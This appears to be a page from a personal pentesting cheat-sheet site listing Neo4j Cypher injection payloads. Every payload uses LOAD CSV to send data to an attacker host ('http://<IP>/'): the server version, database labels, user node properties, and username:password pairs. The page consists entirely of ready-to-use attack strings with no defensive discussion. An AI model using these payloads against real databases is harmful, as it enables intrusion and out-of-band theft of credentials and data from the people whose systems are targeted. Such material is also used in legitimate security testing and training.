> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/owasp-10/neo4j-injection.md).

# Neo4j Injection

```bash
## ------------------| Get Server Version
' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://<IP>/?v=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

## ------------------| List All Tables
' RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://<IP>/?l='+label as l RETURN 0 as _0 
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://<IP>/?l='+label as l RETURN 0 as _0 

## ------------------| Fetch Data
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://<IP>/?d=' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
a ' match (u:user) with distinct keys(u) as k  LOAD CSV FROM 'http://<IP>/?k=' + k[0] a as l RETURN 0 as _0 //
' match (u:user) with distinct u.username + ":" + u.password as a LOAD CSV FROM 'http://<IP>/?' + a as l RETURN 0 as _0 //

```